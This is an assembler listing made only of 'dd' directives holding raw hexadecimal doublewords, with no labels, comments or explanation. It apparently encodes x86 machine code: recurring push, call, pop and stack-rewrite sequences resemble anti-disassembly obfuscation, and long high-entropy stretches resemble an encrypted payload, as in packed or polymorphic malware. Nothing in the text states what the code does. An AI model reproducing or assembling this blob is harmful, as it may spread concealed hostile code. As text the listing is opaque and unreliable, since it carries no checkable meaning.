dd 8589D0FFh, 7E03129h, 0EFC1FE8Bh, 680Ch, 6A2004h, 6857026Ah
dd 1000Dh, 312995FFh, 32E907E0h, 0C6000000h, 0E0075985h
dd 0DF685607h, 0FFA9C530h, 0E0292DB5h, 0E8858D07h, 0FF07E37Fh
dd 858589D0h, 8D07E02Fh, 0E0258185h, 206A5007h, 0FF56056Ah
dd 0E02F8595h, 0C1C36107h, 2AE906E0h, 19000000h, 3128F8h
dd 9 dup(0)
dd 542E900h, 21090000h, 947B4D67h, 0BF0C2DCh, 7E673953h
dd 0F8DAACC6h, 0E6CF243Eh, 7B954F31h, 0F10BC5A9h, 6A843C1Fh
dd 0DEF8B298h, 0C1F013FEh, 0BD21D6EDh, 452BB14Bh, 0A688868Bh
dd 9B46FEE5h, 8D704A81h, 884023D5h, 0E8A28882h, 45FFE5E3h
dd 0A35B4240h, 99F62B9Eh, 95AF694Fh, 0E28E0C3h, 0B89A593Ch
dd 5702F9FEh, 1F291440h, 0C5EBC257h, 907472BFh, 0AEDBD1D6h
dd 6C240751h, 0E09A8052h, 111A94DBh, 0D90A29BAh, 7AF82684h
dd 5F135434h, 5D000000h, 225C9AC6h, 0FE0C346Eh, 0F134F80h
dd 0B8BEA549h, 3017D8BEh, 81C8CD78h, 29BA932Eh, 1674C9FAh
dd 5434E4E8h, 103h, 442B4D00h, 0A289878Ch, 0FEE7E5EAh
dd 0AFCE4146h, 3439F3D5h, 6DC2373Dh, 627C341Bh, 898AFF2Bh
dd 2C22F2A4h, 6F73BE24h, 0DFE5A6B2h, 5B3EFFE5h, 0FCA79EA3h
dd 0ECC6E8E2h, 0A65E4506h, 0F9FFF6FBh, 5E631DFFh, 0BCC17960h
dd 0BFE22154h, 29BAA0F2h, 0BE33398Ch, 7B351761h, 0E8A98F61h
dd 0F8B9DC02h, 7E29BAA0h, 0BED5802Bh, 4045FDE4h, 93F64349h
dd 1419D3B9h, 0CEE3061Dh, 0A829BAA0h, 70554F55h, 9B1AE35Fh
dd 3BE66A61h, 2479DA36h, 0F8B0936Dh, 0F0F6FCF3h, 5434EAA2h
dd 72EDh, 492B3700h, 0A78C8A8Fh, 0E6ACD8EFh, 5AD35816h
dd 6563B0B6h, 0C7C5CA82h, 0B2252AE2h, 4E71207Dh, 29B9D063h
dd 0F61DC81Bh, 381A6CC1h, 532D647Eh, 0B6ADB26Ah, 1AD4B6B0h
dd 762E1715h, 0E7A1855Fh, 0D73894E1h, 39F6247Ah, 4F215434h
dd 2E000000h, 407DA02h, 191F8098h, 8F492BF7h, 0F1A98C8Ah
dd 0A805BAECh, 0A8C27C5Eh, 0A20F3271h, 0DC29BAA0h, 2B618389h
dd 40878C44h, 29BAA16Eh, 8B90482Dh, 5E81A78Dh, 29BAA153h
dd 282DD82Bh, 0D71A77C0h, 0CA207DAEh, 5434EA9Ch, 1B7h
dd 462B0100h, 3BE69E87h, 98523836h, 0AC869D93h, 93080EC8h
dd 0CBAD873Eh, 2C110B11h, 0E22E5A74h, 5F0B2E45h, 992E5A9Fh
dd 4F032F46h, 68496C77h, 0E21D9A5h, 236EB7BBh, 0E19B7F31h
dd 92DFE5DCh, 0DAF4AE94h, 8CD577A3h, 0A3F6BBDEh, 2D8021D9h
dd 0A52BE229h, 5BFA59Fh, 8AF6B900h, 0C07521DAh, 1D88B463h
dd 7F134B65h, 8E746E74h, 2E8BAD4h, 5F454348h, 538A0A5h
dd 6FDFDFD9h, 0B4BA2055h, 0F433E23Fh, 0D9F0E0D1h, 91439621h
dd 0F9F0F5AFh, 5913F9F3h, 5A25613Fh, 997353D4h, 1F8FDB7h
dd 14777FBh, 0C6C10000h, 0A14D6487h, 0D62929BAh, 97947CD0h
dd 87795D80h, 0B58F2E5Ah, 1C1318D0h, 0B69DF716h, 5702F9FEh
dd 2F15EF52h, 25D08A6Eh, 7E3F251Fh, 0E1D8DD95h, 644A1C36h
dd 0C1A7A5AAh, 679A0207h, 3E9A88Dh, 0A2999E49h, 80CA279Ch
dd 0E8C6E09Ah, 53D4CCBAh, 813920FAh, 0FB7F857Ch, 42h, 0EF4ED145h
dd 621CFED8h, 160665Dh, 455DF3DEh, 0F3F84B56h, 0BAA205ACh
dd 4AA768A9h, 0A3BA7BA6h, 455F5180h, 6E53ADD6h, 1AF40BB6h
dd 15777D35h, 0B413h, 0B0926C00h, 4D520AEFh, 0AFA6AB56h
dd 4FD187A9h, 0A1506184h, 0C3E629BAh, 29BAA0EEh, 9F5E3588h
dd 0BAA1357Ch, 43EE4129h, 3428198h, 0BAA0D1E0h, 545AAD29h
dd 5AA48911h, 0A7ACFF2Eh, 1902C3A9h, 0BA655C61h, 2EE6C9A3h
dd 0D5DB937Ch, 0FABBA173h, 0AFB45F17h, 0DA9D6468h, 522CCB21h
dd 14CCAF70h, 686D180Fh, 9CCFE205h, 54A721DAh, 0D12EA3A9h
dd 0CDE7A187h, 0D3B97FA1h, 721D1419h, 60421C5Bh, 0A4AAA1A6h
dd 790EBB61h, 29255126h, 12CAB3C1h, 0AC12160Dh, 123137F1h
dd 0D6BCBABFh, 0A21171Ch, 8D924C30h, 0C61B9096h, 2239F61Ah
dd 55AA1DFFh, 620732Eh, 5ECC60Ch, 0A6AB6346h, 0AAFE04AFh
dd 0D8B2C966h, 0D43339F1h, 59126BB1h, 0E3C7A12Eh, 272D2429h
dd 0E70A4908h, 21D6EDCAh, 4B6661B4h, 5821D6EEh, 8EE1B872h
dd 0FAE0DEE3h, 6E542640h, 0E568AFB4h, 1178E2Ch, 147B6E2h
dd 0E161A601h, 0BF0966DBh, 0C9081FD9h, 92890BA6h, 1A2073F8h
dd 0ED00E6B8h, 269BFCA3h, 29375898h, 55344251h, 0FCFAFFAAh
dd 58565B13h, 0B7B5BA74h, 0C5151AD2h, 9F3FB107h, 853A2028h
dd 0E3BE528h, 0C78167B1h, 0B99C76ADh, 93AB55A8h, 0DB8A32Fh
dd 6D270D07h, 492B0568h, 8D938A8Fh, 0F63h, 0FFE2BC00h
dd 25D40BEEh, 0CA7522F2h, 6624A2C4h, 8489432Bh, 0E1E6A086h
dd 434800E3h, 0A2A76145h, 308C2A4h, 64692305h, 0C0C57D66h
dd 2025DDC2h, 7E833B22h, 0E189516Dh, 4C181h, 0E9830000h
dd 240C8704h, 6824248Bh, 516Fh, 50243C89h, 405E089h, 83000000h
dd 48704E8h, 4895C24h, 0B3DE6824h, 3C8B07E3h, 4C48124h
dd 68000000h, 2188h, 81242489h, 42404h, 81580000h, 4ECh
dd 241C8900h, 8BBh, 89C30100h, 34FF5B3Bh, 0C4815824h, 4
dd 53243C8Bh, 0C381E389h, 4, 4C381h, 1C870000h, 0C4E95C24h
dd 7AFFFCC7h, 251DE820h, 1E2A74EBh, 0E3B895B8h, 0FFC50307h
dd 0D3D14DE0h, 3D979752h, 0CBD14F00h, 0B233F571h, 3CED150Dh
dd 0A451D7Ch, 75C0B04Fh, 5F541D03h, 0EC8DFD6Fh, 6C2F3F08h
dd 0F5A73115h, 0D6C6EA48h, 0A668DF50h, 0C8B0C676h, 9CE02B51h
dd 39FA2045h, 61AA3304h, 128B7961h, 40FEFA01h, 2EF61129h
dd 8F4FEB71h, 0ABFA251Ch, 0DAC6A108h, 0D41CA4ACh, 0E45C5CD2h
dd 3134CE00h, 27CE1BF5h, 34D129B3h, 2AC7DD5Bh, 1BCE17E6h
dd 0DB6734DFh, 62A900A6h, 0EA1A0047h, 0D5A3h, 199C0000h
dd 0FECAh, 0FBFE4Ah, 0B4870000h, 202352DDh, 339C9ED9h
dd 0A6E977E7h, 8B000011h, 0E0339D95h, 0B1BD8307h, 7E016h
dd 4C850Fh, 0B5010000h, 7E020C5h, 0CDB53151h, 5A07E033h
dd 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1804h, 0C3554500h, 4764756Fh, 85E2B93Dh, 890F3C52h
dd 6, 348D8D03h, 4C207E0h, 0BF0F6000h, 0C08B61D0h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 18h, 82C35040h, 1C2A0278h
dd 0BA8DB966h, 95F38060h, 289FBE66h, 0B1BD8361h, 7E006h
dd 0BD830975h, 7E001C5h, 50137400h, 0B8C08B53h, 4D0h, 0BA369D8Dh
dd 0D3FF07E2h, 0BD83585Bh, 7E001C5h, 50117400h, 4D0B853h
dd 9D8D0000h, 7E2B983h, 585BD3FFh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 15h, 52C35545h, 0ADBD29E6h, 6A07E033h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h
dd 40000000h, 28EEC350h, 0E88A6061h, 8498531h, 8B6107E0h
dd 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h
dd 0C3564600h, 5F12DCABh, 0CA8B6660h, 0B9BE858Dh, 816607E3h
dd 506ED4DFh, 489F48Ah, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1B04h, 0C3574700h, 0E900EDF5h, 0CD4F7FACh
dd 7F59D01h, 858D07E0h, 7E3B97Bh, 3810Fh, 0BF0F0000h, 458D8BD6h
dd 5007E02Dh, 4896160h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1504h, 0C3534300h, 0B70F6AB8h, 4595FFF9h
dd 6A07E025h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 17042444h, 41000000h, 0E8DDC351h, 800F7EB0h, 6, 29FD8D29h
dd 0BF6607E0h, 448B7C98h, 0BD8B0424h, 7E0074Dh, 0B9A68589h
dd 6A07E3h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 190424h, 51410000h, 154343C3h, 819FB1BBh, 34F659D2h
dd 24448B62h, 0C9958B08h, 8907E008h, 0E3B9BA85h, 8B566007h
dd 0E02FF9B5h, 8D0F5A07h, 6, 2B759D89h, 836107E0h, 0E020C1BDh
dd 850F0007h, 0E2h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 16h, 0EDC35646h, 66607CEBh, 12E8CF8Bh, 25000000h
dd 0CE20703Bh, 0F7CC3C0Bh, 60FDE4F1h, 0A888A2BCh, 5B5A505Dh
dd 5985C661h, 4707E007h, 17299D01h, 4E807E0h, 0D2000000h
dd 0BFD49AA7h, 25EDF7CDh, 66525050h, 0FC374B9h, 7E96031h
dd 0CA000000h, 0ED502A6Eh, 0B866776Dh, 5A61C90Ch, 24448B58h
dd 0EE85304h, 57000000h, 7E1A0642h, 0B623F13Ch, 0A5CD0C5Dh
dd 0F52500Dh, 5A585A31h, 8B008B5Ah, 244489FAh, 870F6004h
dd 0
dd 68D0Fh, 8D0F0000h, 0
dd 0BD8B5861h, 7E02C89h, 292DB5FFh, 816607E0h, 8DA2E9F2h
dd 0E37FE885h, 8BD0FF07h, 0E02B758Dh, 0C1858907h, 0F07E020h
dd 58Ch, 0D1816600h, 0BD836152h, 7E01D05h, 0AA850F00h
dd 8B000000h, 0E019B1BDh, 5985C607h, 4707E007h, 0DBEDBF66h
dd 934F6C68h, 2404811Fh, 6A7C6676h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 15h, 33C35242h, 2DB5FFF8h, 6A07E029h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h
dd 45000000h, 4CEDC355h, 0C981FC64h, 5CF09B2Eh, 7FE8858Dh
dd 6A07E3h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
dd 51410000h, 1E6D0C3h, 8F0F2920h, 6, 315D8589h, 0D0FF07E0h
dd 1D058589h, 816607E0h, 12C47E7h, 0E010D98Dh, 59BD8307h
dd 7E018h, 0F9850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 190424h, 56460000h, 0C7DD10C3h, 0C64F3B0Ah
dd 0E0075985h, 68FC5607h, 0EF240FEEh, 0FE9h, 0D43BB900h
dd 93FB78C1h, 6A74AB0Ch, 463AC2F5h, 0D7243481h, 0E93B3B62h
dd 8, 7B6F82B9h, 3DD11Ah, 292DB5FFh, 8E807E0h, 0B000000h
dd 0FCF5373h, 0F4AC905h, 118Bh, 0CE900h, 8C320000h, 0A7E9DD6Ah
dd 0E95C4285h, 8D5A4120h, 0E37FE885h, 55006A07h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 0FF126155h, 50006AD0h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1804h, 0C3504000h, 0B2D02092h, 0C9BD292Dh
dd 0FC07E001h, 18598589h, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 170424h, 57470000h, 6E473FC3h, 99958BDDh
dd 0C607E018h, 0E0075985h, 66606C07h, 0B5AF4EBEh, 81686146h
dd 0B9F391F4h, 51B0E21Dh, 2243481h, 6A289484h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 3174C356h, 0F2816631h, 840FC0A6h, 6, 21818D8Bh, 0B5FF07E0h
dd 7E02F01h, 11E9h, 90676600h, 0D6D68688h, 0E596FFE6h
dd 186BE7E0h, 858D7C4Eh, 7E039F8h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 16h, 74C35646h, 850105C3h, 7E02A01h
dd 0BD0B8AB5h, 7E02879h, 85BAD0FFh, 8912C345h, 0E3B9AA85h
dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h
dd 0C3564600h, 4A26AE69h, 0F2805CCh, 158Ah, 10E900h, 86FC0000h
dd 496207D2h, 0B6B60AB8h, 0D8200ACAh, 0BD8324B7h, 7E3B9C6h
dd 71850F00h, 51000000h, 2EA9BD8Bh, 0C65F07E0h, 0E0075985h
dd 0BA664907h, 9368D5C3h, 6041688Ch, 9E395BBFh, 4816134h
dd 0AC9D5624h, 0B985894Ah, 0FF07E006h, 0E02F01B5h, 0C1816607h
dd 0E181F496h, 67B70573h, 39F8858Dh, 6A07E0h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 21F1AAC3h
dd 731CB4EDh, 89F9D0FFh, 0E3B9C685h, 0EDF58007h, 6A046Ah
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
dd 0AE54A4C3h, 897E316Bh, 89443865h, 0E001E995h, 4E807h
dd 10000000h, 0F78A0000h, 0F88B6650h, 424448Bh, 8B82B2h
dd 10E8h, 0BAEAAA00h, 0EE9CA00Ch, 0B532D61Ah, 0FA1BD232h
dd 4489594Bh, 10E90424h, 0C4000000h, 1CED597Bh, 965903Ah
dd 9D24F3A0h, 586C929Ah, 2AB2BF66h, 0D51B2568h, 81EDB626h
dd 1B252434h, 32BF26D4h, 6A761462h, 4BD78100h, 0FF2BCCA4h
dd 0E01DB595h, 0F8BA5207h, 592F60E0h, 38D0Fh, 0B70F0000h
dd 0B68589CFh, 6007E3B9h, 16018D09h, 0BCBA07E0h, 6131F5A6h
dd 0B9AE85C7h, 7E3h, 0E9530000h, 6, 12B933E0h, 6A5FF95Ah
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h
dd 0C3574700h, 8B668D4Eh, 0D7B268F9h, 0C88A5713h, 0B2243481h
dd 815712D7h, 342C05DFh, 8A0F5043h, 2, 489F5B1h, 29850124h
dd 6A07E02Bh, 0BD78B90Bh, 858D7002h, 7E3B983h, 0E990C9B2h
dd 0Bh, 0BA74FB3Bh, 0BE2D0DF6h, 50FE0244h, 52006A90h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 72F737F8h, 0A99D0960h, 8B07E02Fh, 816661D9h, 0FF121FDAh
dd 0E020C195h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1B04h, 0C3574700h, 0A68B4967h, 0B98452F3h
dd 0B3DAEA81h, 9589601Eh, 7E018C9h, 0B98DB58Dh, 6A07E3h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 0D12D5EC3h, 0BD8D23EEh, 8B07E017h, 0E0306DBDh, 66605007h
dd 0BE66FE8Bh, 8961BAC7h, 0BD8B2434h, 7E02DADh, 2A59958Bh
dd 0BA5007E0h, 34A049BDh, 51240489h, 2F058D8Bh, 0FF5A07E0h
dd 0E01D0595h, 6820F07h, 29000000h, 0E02F59BDh, 0FC00B07h
dd 3985h, 99BD3300h, 0E907E031h, 702h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 18h, 9FC35242h, 25527A09h, 9E9h
dd 0F0075000h, 750E44Eh, 0D0FF4EF0h, 2E09B501h, 0B58B07E0h
dd 7E3B9B6h, 7CC0B1B9h, 20468D73h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 17h, 89C35545h, 0B6F6B71Ah, 0B595899Ah
dd 6A07E02Fh, 0FB8B6604h, 0BF525090h, 66FBA9E7h, 6651310Fh
dd 5A59D78Bh, 0BF665058h, 6A907DEDh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0D063C352h
dd 47DEA3Fh, 0B1593D60h, 0C695FFD3h, 6007E3B9h, 1D0BE66h
dd 5BD8B61h, 0B07E025h, 1B840FC0h, 57000000h, 29218D03h
dd 0E95F07E0h, 62Eh, 5F8CDCBFh, 89F56040h, 0E025358Dh
dd 7E806107h, 840F0020h, 616h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 19h, 53C35141h, 0A33507BBh, 0F9BF0FC8h
dd 8B60FB8Bh, 0E00855BDh, 51958B07h, 8D07E01Bh, 0BD292046h
dd 7E0045Dh, 0B9B28589h, 9E807E3h, 0A8000000h, 9E427F89h
dd 0FFAF3E07h, 5FC6F280h, 0C8F0Fh, 800F0000h, 6, 0C13BF781h
dd 17E93F39h, 89000001h, 0E008E18Dh, 0FA8B4007h, 5E850h
dd 996A0000h, 0E8CB5E37h, 0Bh, 0F7692F6Fh, 0DE6CABE4h
dd 506A7EA0h, 5A310F52h, 895A5A58h, 6A2404h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 160424h, 51410000h, 72350C3h
dd 23218D29h, 46A07E0h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Dh, 0E2C35646h, 8B0B3B56h, 94626808h, 0C7D28137h
dd 9041092Eh, 68E0Fh, 8B600000h, 616160DAh, 6DBA6650h
dd 8E0F9027h, 6, 110DBD29h, 95FF07E0h, 7E3B9C6h, 8BCB8B66h
dd 50006AD8h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h
dd 0C3504000h, 6D934A07h, 158D8BCDh, 5807E006h, 6830Fh
dd 958B0000h, 7E01BDDh, 19418589h, 0DB0B07E0h, 2C840Fh
dd 0D9B10000h, 4B9E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1A04h, 0C3554500h, 96C9D9ADh, 0F70903Fh
dd 3880D3BFh, 0E6850F00h, 6AFFFFFEh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 19042444h
dd 47000000h, 9A5AC357h, 9D72D1C9h, 1A018589h, 8C0F07E0h
dd 0
dd 11E9h, 5890F00h, 0BA000000h, 53773523h, 0DA816648h
dd 853B4555h, 7E3B9B2h, 48820Fh, 81660000h, 80F448C1h
dd 840F5C38h, 3Ah, 6E9h, 4E647600h, 80134150h, 850F2F38h
dd 0FFFFFFCCh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Bh, 0CBC35747h, 265CF1DFh, 0F101A58h, 2940CFB7h, 0E0338D8Dh
dd 0BABD8307h, 7E3B9h, 1B9840Fh, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0F91F09C3h
dd 361803FFh, 14E8h, 0F4636800h, 5DD9D91Dh, 12096745h
dd 268DCECAh, 0FBAD062Fh, 8B505FF6h, 240489F9h, 16218D0Bh
dd 8D0F07E0h, 17h, 11E8h, 59767C00h, 0E6B63A12h, 8D19A2DFh
dd 2EA2F237h, 35A317Ah, 0E3B9BA85h, 51006A07h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0B6B59EC0h
dd 8B2C9A4Fh, 0E01B01BDh, 59539007h, 903BB650h, 18AD9D89h
dd 46A07E0h, 5870Fh, 32BF0000h, 0E8125F52h, 10h, 0C246E524h
dd 0C33FBFADh, 8DB49C66h, 0FDD8B6A4h, 2B6DBD89h, 505F07E0h
dd 0CE9h, 7BE0A900h, 0BC2781B5h, 29FB3EBBh, 24048913h
dd 95FF5A56h, 7E3B9C6h, 3850Fh, 8B660000h, 6AD88BF8h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
dd 3461C352h, 0A3FCE181h, 0BE90734h, 7F000000h, 29371A09h
dd 0D77ED777h, 6A581EAFh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 15042444h, 40000000h, 0F1BAC350h, 1FDDBD89h
dd 8D8B07E0h, 7E0264Dh, 840FDB0Bh, 2Ch, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 19h, 0C4C35343h, 38E924FFh
dd 264E9F8h, 85010000h, 7E00639h, 6A0000C6h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
dd 2A09C357h, 58FAB70Fh, 0EE9h, 41D68B00h, 2982FB59h, 0AA96BA14h
dd 50C98CA7h, 4830Fh, 0BF660000h, 48992B4h, 0AE824h, 72460000h
dd 365B376Ch, 0A7153756h, 1B51BD8Bh, 6A5907E0h, 55006A1Eh
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 2EF5AE36h, 0E9F2DC0Bh, 5E98F6Eh, 94000000h, 7B9B63DDh
dd 50C9BF0Fh, 6E8h, 0A9168900h, 6680B471h, 895FD08Bh, 6A2404h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 0B9BE48C3h, 0BA66E777h, 95FFA8F0h, 7E3B9C6h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 77C35343h, 0B2C15997h
dd 89D88BC0h, 0E01B5185h, 9D315807h, 7E008B9h, 840FDB0Bh
dd 3Ch, 0C8F0Fh, 8F0F0000h, 6, 2C719D01h, 43E907E0h, 6A000001h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h
dd 42000000h, 0C53C352h, 0E7B61DEBh, 0CFDD8051h, 0F525090h
dd 12E831h, 0C0710000h, 0B434AE87h, 0FF587185h, 30ECF368h
dd 0ED2BA960h, 5A596160h, 0FE8B5058h, 82E68090h, 0B9A6B5FFh
dd 850F07E3h, 11h, 5E8h, 6116B100h, 880F8F8Dh, 0
dd 95FFF85Fh, 7E3B9AAh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 15h, 46C35646h, 0D18B6662h, 5800Fh, 0F1BF0000h
dd 0B2ED8A9h, 60850FC0h, 0F000000h, 0E861CBBFh, 13h, 0C58C8394h
dd 3B3C6822h, 9825F889h, 7BCC00EAh, 89BCAD81h, 0E02FEDBDh
dd 0BD015F07h, 7E00F85h, 0B9AE85C7h, 107E3h, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 0F4111CC3h, 0B0D5F41Bh, 45E9h, 5D8D0300h, 6107E034h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 78C35141h
dd 0E55DB9B4h, 11CC681h, 810F0000h, 5, 0F3C27BB9h, 0F947E920h
dd 8152FFFFh, 19CF3BC2h, 3D685942h, 0E81D4BB2h, 8, 4359F9A1h
dd 0A3210F2Bh, 2434815Ah, 1D4B323Dh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 0A6C35343h, 59BD8919h, 6A07E032h
dd 0C9B70F00h, 0E654BF66h, 0B9B6B5FFh, 6A07E3h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 448DD4C3h, 8974D38Bh, 0E00E0995h, 5995FF07h, 6A07E018h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h
dd 45000000h, 985AC355h, 41560839h, 0AE9h, 15695D00h, 22DE1E19h
dd 0F89A3DD3h, 0B9AE858Bh, 8D8907E3h, 7E02CC9h, 0F525050h
dd 0B0BA6631h, 89585A80h, 0BF0F2404h, 8BD281CEh, 8D4B4A98h
dd 0E3B9BE85h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 85017C8Bh, 7E020F9h, 6E9h
dd 53111500h, 90EADD45h, 8E9h, 0EF014F00h, 94290271h, 3AB65074h
dd 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h
dd 0C3524200h, 194F0BAFh, 326960F0h, 7B858DFEh, 8907E3B9h
dd 0E02DCD85h, 0FB8B9007h, 6A9050h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 180424h, 50400000h, 2DC8BCC3h
dd 8B0FD50Bh, 2, 95FFD18Bh, 7E03001h, 0CE9h, 41A2F700h
dd 559E36Dh, 0CE2E0ED3h, 0F5C08B69h, 6B1BD83h, 750007E0h
dd 0C5BD8309h, 7E001h, 53501374h, 0D0B8C08Bh, 8D000004h
dd 0E2BA9D9Dh, 5BD3FF07h, 0C5BD8358h, 7E001h, 53501174h
dd 4D0B8h, 9C9D8D00h, 0FF07E2B9h, 0BA585BD3h, 1E79C844h
dd 2FE1958Bh, 958B07E0h, 7E0231Dh, 0E781C08Bh, 6822E567h
dd 9E858h, 0ADBE0000h, 0FAC19E3h, 594CD498h, 8C2CC8Ah
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h
dd 0C3554500h, 307695Fh, 12E92DA0h, 9E000000h, 0FDFD7BE8h
dd 0DE95255Fh, 0D7F9076Fh, 43A69B40h, 0FC08B0Eh, 858DD0BFh
dd 7E3B9D5h, 14E9h, 0F6A5AC00h, 6CD9FE6h, 3287053h, 1B327493h
dd 0A047711Ah, 4D858981h, 0EB07E00Fh, 0C1000039h, 0C102CC00h
dd 0C102E400h, 0
dd 4DD44B00h, 54D8D847h, 45D0A676h, 4ED49022h, 44939E4Fh
dd 6EBD954Eh, 6CF1B876h, 6FC93022h, 74D35A52h, 41D8ED4Ah
dd 46DDCF46h, 0A9615198h, 0C0A77297h, 217D7225h, 0C08FF9AFh
dd 26317125h, 0A9BD3F22h, 0C09D7297h, 91004C25h, 20BA0724h
dd 9D3EFA57h, 275DF8E7h, 70A48822h, 987DF571h, 20BD3B9Bh
dd 481AABh, 0BD30C8C2h, 275F5B40h, 78E620DDh, 217844A1h
dd 54BDFBC2h, 98EE2E35h, 20BD3B9Bh, 481AABh, 0BD30C8C2h
dd 275F5E73h, 78E620DDh, 0C8EFF948h, 20BDFC21h, 7A7E2402h
dd 24996BABh, 2499DBA3h, 20BDCF3Eh, 57EB560h, 84A81110h
dd 20C17F5Ch, 0F0CA3998h, 0C63C1804h, 20D7BADAh, 20BE7775h
dd 7F9DCF22h, 5C34B8E1h, 643CF706h, 20A6FD06h, 77FAFC22h
dd 8087B2E1h, 33035DD8h, 0E23CF951h, 0A1DB5B79h, 0ABB25CC5h
dd 2438FCE2h, 46BDF922h, 0E637D59Ch, 0C0BA27A7h, 2B546925h
dd 0FABD9F22h, 0F0DD4EA6h, 18456150h, 0F8D5DAC3h, 967985E2h
dd 4897D0Bh, 786906A8h, 9908ADDh, 20D798C2h, 20BE2775h
dd 7F9DE722h, 5C34ACE1h, 643CFD06h, 20A6F806h, 77FA7E22h
dd 0DDCE62E1h, 64AF1407h, 0C83842C4h, 4ABA045Dh, 2355A222h
dd 0BDF922h, 0A9E43F7Bh, 0A1B95A6Eh, 39B91B66h, 61BD9F22h
dd 98250C73h, 0F95A0951h, 20D723DDh, 20BE1172h, 789DFC22h
dd 643426E1h, 643C3B06h, 20A49B06h, 70FDCF22h, 9D8CAFE1h
dd 0AB928250h, 0C0AAD0AFh, 0ABB99625h, 264C16DBh, 2BEE3h
dd 0A1BC1770h, 29B2EB26h, 0A5B4991Dh, 275DEB83h, 20BDFDCAh
dd 20BF1022h, 0D3361822h, 32393072h, 0C8BD9F22h, 20BDCF25h
dd 0AE1FF533h, 996056FFh, 72593E84h, 4F9777Bh, 0DE361826h
dd 27553FA9h, 93BD9F22h, 0EF61F913h, 72EDADBCh, 20BD722Dh
dd 11B2F922h, 20BD7B2Dh, 78E77E22h, 4F9B67Dh, 0F136F926h
dd 71BDA57Ah, 20BDE4CAh, 0E3E4D322h, 4F1707Bh, 4F97D26h
dd 20BD6626h, 0E3EC7E22h, 4F5A8BF6h, 4AE29834h, 71BD8D22h
dd 20BDF0CAh, 0E3E4D922h, 4F1757Bh, 4F9FF26h, 20BD2926h
dd 0E3ECDE22h, 0AB57C46Eh, 0A06D18D5h, 0DA367CFBh, 0EB1C7CABh
dd 0A9EEFBC1h, 0C0A4DBBFh, 0D8366125h, 20BF5327h, 85384622h
dd 0A3BA04E9h, 0A534EBE2h, 275E328Bh, 0CC043C11h, 0D3BD7E20h
dd 0A94CB488h, 0C09F3ABFh, 79380925h, 63BA0725h, 0E0579BD7h
dd 143C09A1h, 0C4164806h, 77BD144Eh, 20BD3CCAh, 0E3E2BF22h
dd 4C1467Dh, 4F96626h, 20BDEB26h, 0E3EABE22h, 61976565h
dd 20BB9787h, 32DB3F22h, 0FC2C0D33h, 20BDDCCBh, 928F3222h
